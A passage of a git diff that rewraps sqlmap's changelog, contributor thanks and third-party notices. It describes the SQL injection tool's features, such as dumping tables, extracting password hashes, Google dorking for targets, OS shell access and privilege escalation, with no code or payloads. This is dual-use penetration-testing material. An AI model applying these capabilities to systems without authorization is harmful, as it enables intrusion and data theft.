enhancement to be able to enumerate table columns and dump table entries, also when the database name is not + provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the ' + USERS' TABLESPACE_NAME on Oracle; +* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when + comparing HTTP responses page content; +* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, + Accept-Language and Accept-Charset headers are set; +* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or + users passwords; * Minor improvements to sqlmap Debian package files; -* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; -* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; +* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap + algorithmic operations; +* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to + the target url; * Major bug fix to correctly enumerate columns on Microsoft SQL Server; -* Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; +* Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it + also work if in the FROM there is no database name specified; * Minor bug fix to correctly dump table entries when the column is provided; -* Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; +* Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP + requests; * Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; * Increased default output level from 0 to 1; * Updated documentation. @@ -270,11 +326,15 @@ * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix when the request is POST to also send the GET parameters if any have been provided; * Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; -* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; +* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its + resumed value from the session file is a string or a binary file, the query is executed again and its new output saved + to the session file; * Minor bug fix in MySQL comment injection fingerprint technique; -* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; +* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the + database name is not 'public' schema or a system database; * Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; -* Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; +* Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and + PostgreSQL 8.3; * More user-friendly warning messages. # Version 0.6.1 (2008-08-20) @@ -284,30 +344,40 @@ * Implemented possibility to test for and inject also on LIKE statements; * Implemented `--start` and `--stop` options to set the first and the last table entry to dump; * Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; -* Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; -* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; +* Minor enhancement to save also the length of query output in the session file when retrieving the query output length + for ETA or for resume purposes; +* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are + stored in the tables, not forcing the entries' order alphabetically anymore; * Minor bug fix to correctly handle parameters' value with `%` character. # Version 0.6 (2008-09-01) * Complete code refactor and many bugs fixed; * Added multithreading support to set the maximum number of concurrent HTTP requests; -* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; -* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; -* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; -* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; +* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able + to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; +* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS + administrator; +* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and + support (`--save`) to save command line options on a configuration file; +* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap + with `--update` option; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .exe (Windows) portable executable; -* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; +* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose + time on identifying injection, UNION fields and back-end DBMS twice or more times; * Improved automatic check for parenthesis when testing and forging SQL query vector; -* Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; +* Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to + perform the injection on in case that more than one is injectable; * Implemented support for HTTPS requests over HTTP(S) proxy; * Added a check to handle NULL or not available queries output; -* More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; +* More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query + and in AND condition checks; * Improved XML files structure; * Implemented the possibility to change the HTTP Referer header; * Added support to resume from session file also when running with inband SQL injection attack; -* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; +* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has + the PHP engine active and permits write access on a directory within the document root; * Added a check to assure that the provided string to match (`--string`) is within the page content; * Fixed various queries in XML file; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; @@ -328,20 +398,30 @@ # Version 0.5 (2007-11-04) * Added support for Oracle database management system -* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; +* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked + with `-e` and `--file` on all DMBS plugins; * Added support to extract database users password hash on Microsoft SQL Server; -* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; +* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently + improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; -* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); -* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; +* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split + getValue() into getInband() and getBlind(); +* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to + perform a UNION query SQL injection attack; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; -* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); +* Added support to exclude DBMS system databases' when enumeration tables and dumping their + entries (`--exclude-sysdbs`); * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; -* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; -* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; -* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); -* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; +* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of + database/table/ column are specified to be dumped; +* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files + creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; +* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection + affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork + option (`-g`); +* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank + spaces; * More minor layout enhancements in some libraries; * Renamed DMBS plugins; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; @@ -349,18 +429,24 @@ # Version 0.4 (2007-06-15) -* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; -* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; +* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file + defining default error messages for each supported DBMS; +* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an + XML file to get also the exact patching level of the DBMS; * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); -* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; -* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; +* Added docstrings to all functions, classes and methods, consequently released the sqlmap development + documentation ; +* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform + other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; * Added support for more than one parameter in `-p` command line option; * Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); * Added the command line option `--remote-dbms` to manually specify the remote DBMS; -* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; -* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); +* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL + injection also with database comment characters (`--` and `#`) in UNION query statements; +* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible + to stop and resume the same query output retrieving in a second time (`--resume`); * Added support to specify the database table column to enumerate (`-C COL`); * Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; @@ -387,12 +473,18 @@ * complete refactor of entire program; * added TODO and THANKS files; * added some papers references in README file; -* moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; -* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions; +* moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of + User-Agent header; +* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql + fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() + functions; * replaced old inference algorithm with a new bisection algorithm. -* reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; +* reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql + injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; * improved Common class, adding support for http proxy and http post method in hash_page; * added OptionCheck class in option.py which performs all needed checks on command line parameters and values; -* added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; +* added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection + on dynamic url parameters; * improved output methods in dump.py; -* layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. +* layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on + catching of exceptions. diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a9..a380d2010 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,816 +1,1086 @@ # Individuals Andres Tarasco Acuna, + * for suggesting a feature Santiago Accurso, + * for reporting a bug Syed Afzal, + * for contributing a WAF script varnish.py Zaki Akhmad, + * for suggesting a couple of features Olu Akindeinde, + * for reporting a couple of bugs David Alvarez, + * for reporting a bug Sergio Alves, + * for reporting a bug Thomas Anderson, + * for reporting a bug Chip Andrews, -* for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site + +* for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the + update feature taking data from his site Smith Andy, + * for suggesting a feature Otavio Augusto, + * for reporting a minor bug Simon Baker, + * for reporting some bugs Ryan Barnett, + * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html Emiliano Bazaes, + * for reporting a minor bug Daniele Bellucci, + * for starting sqlmap project and developing it between July and August 2006 Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH + * for contributing the DB2 support initial patch: fingerprint and enumeration Anthony Boynes, + * for reporting several bugs Marcelo Toscani Brandao + * for reporting a bug Velky Brat, + * for suggesting a minor enhancement to the bisection algorithm James Briggs, + * for suggesting a minor enhancement Gianluca Brindisi, + * for reporting a couple of bugs Jack Butler, + * for contributing the sqlmap site favicon Ulisses Castro, + * for reporting a bug Roberto Castrogiovanni, + * for reporting a minor bug Cesar Cerrudo, -* for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf + +* for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run + the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege + escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen, + * for contributing the initial multi-threading patch for the inference algorithm Y P Chien, + * for reporting a minor bug Pierre Chifflier, and Mark Hymers, + * for uploading and accepting the sqlmap Debian package to the official Debian project repository Hysia Chow + * for contributing a couple of WAF scripts Chris Clements, + * for reporting a couple of bugs John Cobb, + * for reporting a minor bug Andreas Constantinides, + * for reporting a minor bug Andre Costa, + * for reporting a minor bug * for suggesting a minor enhancement Ulises U. Cune, + * for reporting a bug Alessandro Curio, + * for reporting a minor bug Alessio Dalla Piazza, + * for reporting a couple of bugs Sherif El-Deeb, + * for reporting a minor bug Thomas Etrillard, + * for contributing the IBM DB2 error-based payloads (RAISE_ERROR) Stefano Di Paola, + * for suggesting good features Mosk Dmitri, + * for reporting a minor bug Meng Dong, + * for contributing a code for Waffit integration Carey Evans, + * for his fcrypt module that allows crypt(3) support - on Windows platforms + on Windows platforms Shawn Evans, + * for suggesting an idea for one tamper script, greatest.py Adam Faheem, + * for reporting a few bugs James Fisher, + * for contributing two very good feature requests -* for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster +* for his great tool too brute force directories and files names on web/application servers, + DirBuster, http://tinyurl.com/dirbuster Jim Forster, + * for reporting a bug Rong-En Fan, + * for committing the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, + * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 Kasper Fons, + * for reporting several bugs Alan Franzoni, + * for helping out with Python subprocess library Harold Fry, + * for suggesting a minor enhancement Daniel G. Gamonal, + * for reporting a minor bug Marcos Mateos Garcia, + * for reporting a minor bug Andrew Gecse, + * for reporting a minor issue Ivan Giacomelli, + * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation Dimitris Giannitsaros, + * for contributing a REST-JSON API client Nico Golde, + * for reporting a couple of bugs Oliver Gruskovnjak, + * for reporting a bug * for contributing a minor patch Davide Guerri, + * for suggesting an enhancement Dan Guido, -* for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ + +* for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic + University of New York, http://isisblogs.poly.edu/courses/pentest/ David Guimaraes, + * for reporting considerable amount of bugs * for suggesting several features Chris Hall, + * for coding the prettyprint.py library Tate Hansen, + * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, -* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS + +* for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS + detection, https://github.com/PHPIDS/PHPIDS Kristian Erik Hermansen, + * for reporting a bug * for donating to sqlmap development Alexander Hagenah, + * for reporting a minor bug Dennis Hecken, + * for reporting a minor bug Choi Ho, + * for reporting a minor bug Jorge Hoya, + * for suggesting a minor enhancement Will Holcomb, -* for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code + +* for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source + code Daniel Huckmann, + * for reporting a couple of bugs Daliev Ilya, + * for reporting a bug Mehmet İnce, + * for contributing a tamper script xforwardedfor.py Jovon Itwaru, + * for reporting a minor bug Prashant Jadhav, + * for reporting a bug Dirk Jagdmann, + * for reporting a typo in the documentation Luke Jahnke, + * for reporting a bug when running against MySQL < 5.0 Andrew Kitis + * for contributing a tamper script lowercase.py David Klein, + * for reporting a minor code improvement Sven Klemm, + * for reporting two minor bugs with PostgreSQL Anant Kochhar, + * for providing with feedback on the user's manual Dmitriy Kononov, + * for reporting a minor bug Alexander Kornbrust, + * for reporting a couple of bugs Krzysztof Kotowicz, + * for reporting a minor bug Nicolas Krassas, + * for reporting a couple of bugs Oliver Kuckertz, + * for contributing a minor patch Alex Landa, + * for contributing a patch adding beta support for XML output Guido Landi, + * for reporting a couple of bugs * for the great technical discussions -* for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development -* for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 +* for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer + overflow (MS09-004) exploit development +* for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence + 2009 in Warsaw (Poland) on November 20, 2009 Lee Lawson, + * for reporting a minor bug John J. Lee, and others + * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified Nico Leidecker, + * for providing with feedback on a few features * for reporting a couple of bugs -* for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip +* for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over + ICMP, http://leidecker.info/downloads/icmpsh.zip Gabriel Lima, + * for reporting a couple of bugs Svyatoslav Lisin, + * for suggesting a minor feature Miguel Lopes, + * for reporting a minor bug Truong Duc Luong, + * for reporting a minor bug Pavol Luptak, + * for reporting a bug when injecting on a POST data parameter Till Maas, + * for suggesting a minor feature Michael Majchrowicz, + * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features Vinícius Henrique Marangoni, + * for contributing a Portuguese translation of README.md Francesco Marano, + * for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload Ahmad Maulana, + * for contributing a tamper script halfversionedmorekeywords.py Ferruh Mavituna, + * for exchanging ideas on the implementation of a couple of features David McNab, -* for his XMLObject module that allows XML files to be operated on like Python objects + +* for his XMLObject module that allows XML files to be operated on like Python objects Spencer J. McIntyre, + * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 Brad Merrell, + * for reporting a minor bug Michael Meyer, + * for suggesting a minor feature Enrico Milanese, + * for reporting a minor bug * for sharing some ideas for the PHP backdoor Liran Mimoni, + * for reporting a minor bug Marco Mirandola, + * for reporting a minor bug Devon Mitchell, + * for reporting a minor bug Anton Mogilin, + * for reporting a few bugs Sergio Molina, + * for reporting a minor bug Anastasios Monachos, + * for providing some useful data * for suggesting a feature * for reporting a couple of bugs Kirill Morozov, + * for reporting a bug * for suggesting a feature Alejo Murillo Moya, + * for reporting a minor bug * for suggesting a few features Yonny Mutai, + * for reporting a minor bug Roberto Nemirovsky, + * for pointing out some enhancements Sebastian Nerz, + * for reporting a (potential) vulnerability in --eval Simone Onofri, + * for patching the PHP web backdoor to make it work properly also on Windows Michele Orru, + * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API Shaohua Pan, + * for reporting several bugs * for suggesting a few features Antonio Parata, + * for sharing some ideas for the PHP backdoor Adrian Pastor, + * for donating to sqlmap development Christopher Patten, + * for reporting a bug in the blind SQL injection bisection algorithm Zack Payton, + * for reporting a minor bug Jaime Penalba, + * for contributing a patch for INSERT/UPDATE generic boundaries Pedrito Perez, <0ark1ang3l(at)gmail.com> + * for reporting a couple of bugs Brandon Perry, + * for reporting a couple of bugs Travis Phillips, + * for suggesting a minor enhancement Mark Pilgrim, + * for porting chardet package (Universal Encoding Detector) to Python Steve Pinkham, + * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development Adam Pridgen, + * for suggesting some features Luka Pusic, + * for reporting a couple of bugs Ole Rasmussen, + * for reporting a bug * for suggesting a feature Alberto Revelli, + * for inspiring to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net David Rhoades, + * for reporting a bug Andres Riancho, + * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching Jamie Riden, + * for reporting a minor bug Alexander Rigbo, + * for contributing a minor patch Antonio Riva, + * for reporting a bug when running with python 2.5 Ethan Robish, + * for reporting a bug Levente Rog, + * for reporting a minor bug Andrea Rossi, + * for reporting a minor bug * for suggesting a feature Frederic Roy, + * for reporting a couple of bugs Vladimir Rutsky, + * for suggesting a couple of minor enhancements Richard Safran, + * for donating the sqlmap.org domain Tomoyuki Sakurai, + * for submitting to the FreeBSD project the sqlmap 0.5 port Roberto Salgado, + * for contributing considerable amount of tamper scripts Pedro Jacques Santos Santiago, + * for reporting considerable amount of bugs Marek Sarvas, + * for reporting several bugs Philippe A. R. Schaeffer, + * for reporting a minor bug Henri Salo + * for a donation Mohd Zamiri Sanin, + * for reporting a minor bug Jorge Santos, + * for reporting a minor bug Sven Schluter, + * for contributing a patch * for waiting a number of seconds between each HTTP request Ryan Sears, + * for suggesting a couple of enhancements * for donating to sqlmap development Uemit Seren, + * for reporting a minor adjustment when running with python 2.6 Shane Sewell, + * for suggesting a feature Ahmed Shawky, + * for reporting a major bug with improper handling of parameter values * for reporting a bug Brian Shura, + * for reporting a bug Sumit Siddharth, + * for sharing ideas on the implementation of a couple of features Andre Silva, + * for reporting a bug Benjamin Silva H. + * for reporting a bug Duarte Silva + * for reporting a couple of bugs M Simkin, + * for suggesting a feature Konrads Smelkovs, + * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server Chris Spencer, + * for reviewing the user's manual grammar Michael D. Stenner, + * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections Marek Stiefenhofer, + * for reporting a few bugs Jason Swan, + * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements Chilik Tamir, + * for contributing a patch for initial support SOAP requests Alessandro Tanasi, + * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation Andres Tarasco, + * for contributing good feedback Tom Thumb, + * for reporting a major bug Kazim Bugra Tombul, + * for reporting a minor bug Efrain Torres, -* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository + +* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit + official subversion repository * for his great Metasploit WMAP Framework Jennifer Torres, + * for contributing a tamper script luanginx.py Sandro Tosi, + * for helping to create sqlmap Debian package correctly Jacco van Tuijl, + * for reporting several bugs Vitaly Turenko, + * for reporting a bug Augusto Urbieta, + * for reporting a minor bug Bedirhan Urgun, + * for reporting a few bugs * for suggesting some features and improvements -* for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench +* for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP + SQLiBench, http://code.google.com/p/sqlibench Kyprianos Vasilopoulos, + * for reporting a couple of minor bugs Vlado Velichkovski, + * for reporting considerable amount of bugs * for suggesting an enhancement Johnny Venter, + * for reporting a couple of bugs Carlos Gabriel Vergara, + * for suggesting couple of good features Patrick Webster, + * for suggesting an enhancement * for donating to sqlmap development (from OSI.Security) Ed Williams, + * for suggesting a minor enhancement Anthony Zboralski, + * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development Thierry Zoller, + * for reporting a couple of major bugs Zhen Zhou, + * for suggesting a feature -insane-, + * for reporting a minor bug 1ndr4 joe, + * for reporting a couple of bugs abc abc, + * for reporting a minor bug Abuse 007, + * for reporting a bug agix, + * for contributing the file upload via certutil.exe functionality Alex, + * for reporting a minor bug anonymous anonymous, + * for reporting a couple of bugs bamboo, + * for reporting a couple of bugs Brandon E., + * for reporting a bug black zero, + * for reporting a minor bug blueBoy, + * for reporting a bug buawig, + * for reporting considerable amount of bugs Bugtrace, + * for reporting several bugs cats, + * for reporting a couple of bugs Christian S, + * for reporting a minor bug clav, + * for reporting a minor bug dragoun dash, + * for reporting a minor bug flsf, + * for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py * for contributing a minor patch fufuh, + * for reporting a bug when running on Windows Hans Wurst, + * for reporting a couple of bugs Hysia, + * for contributing a Chinese translation of README.md james, + * for reporting a bug Joe "Pragmatk", + * for reporting a few bugs John Smith, + * for reporting several bugs * for suggesting some features m4l1c3, + * for reporting considerable amount of bugs mariano, + * for reporting a bug mitchell, + * for reporting a few bugs Nadzree, + * for reporting a minor bug nightman, + * for reporting considerable amount of bugs Oso Dog osodog123(at)yahoo.com + * for reporting a minor bug pacman730, + * for reporting a bug pentestmonkey, + * for reporting several bugs * for suggesting a few minor enhancements Phat R., + * for reporting a few bugs Phil P, <(at)superevr> + * for suggesting a minor enhancement ragos, + * for reporting a minor bug rmillet, + * for reporting a bug Rub3nCT, + * for reporting a minor bug sapra, + * for helping out with Python multiprocessing library on MacOS shiftzwei, + * for reporting a couple of bugs smith, + * for reporting a minor bug Soma Cruz, + * for reporting a minor bug Spiros94, + * for contributing a Greek translation of README.md Stuffe, + * for reporting a minor bug and a feature request Sylphid, + * for suggesting some features syssecurity.info, + * for reporting a minor bug This LittlePiggy, + * for reporting a minor bug ToR, + * for reporting considerable amount of bugs * for suggesting a feature ultramegaman, + * for reporting a minor bug Vinicius, + * for reporting a minor bug virusdefender + * for contributing WAF scripts safeline.py w8ay + * for contributing an implementation for chunked transfer-encoding (switch --chunked) wanglei, + * for reporting a minor bug warninggp, + * for reporting a few minor bugs x, + * for reporting a bug zhouhx, + * for contributing a minor patch # Organizations Black Hat team, -* for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation - * Homepage: http://goo.gl/BKfs7 - * Slides: http://goo.gl/Dh65t - * White paper: http://goo.gl/spX3N + +* for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black + Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 + release candidate version new features during my presentation +* Homepage: http://goo.gl/BKfs7 +* Slides: http://goo.gl/Dh65t +* White paper: http://goo.gl/spX3N SOURCE Conference team, -* for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation - * Homepage: http://goo.gl/IeXV4 - * Slides: http://goo.gl/OKnfj + +* for the opportunity to present my research titled 'Expanding the control over the operating system from the database' + at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 + release candidate version new features during my presentation +* Homepage: http://goo.gl/IeXV4 +* Slides: http://goo.gl/OKnfj AthCon Conference team, -* for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation - * Homepage: http://goo.gl/Fs71I - * Slides: http://goo.gl/QMfjO + +* for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on + June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my + presentation +* Homepage: http://goo.gl/Fs71I +* Slides: http://goo.gl/QMfjO Metasploit Framework development team, -* for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server - * Homepage: http://www.metasploit.com + +* for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and + establish an out-of-band connection between sqlmap and the database server +* Homepage: http://www.metasploit.com OWASP Board, + * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 - * Homepage: http://www.owasp.org +* Homepage: http://www.owasp.org diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 76d9e8fe3..3471adac2 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -306,6 +306,6 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Public domain * The `PyDes` library located under `thirdparty/pydes/`. - Copyleft 2009, Todd Whiteman. + Copyleft 2009, Todd Whiteman. * The `win_inet_pton` library located under 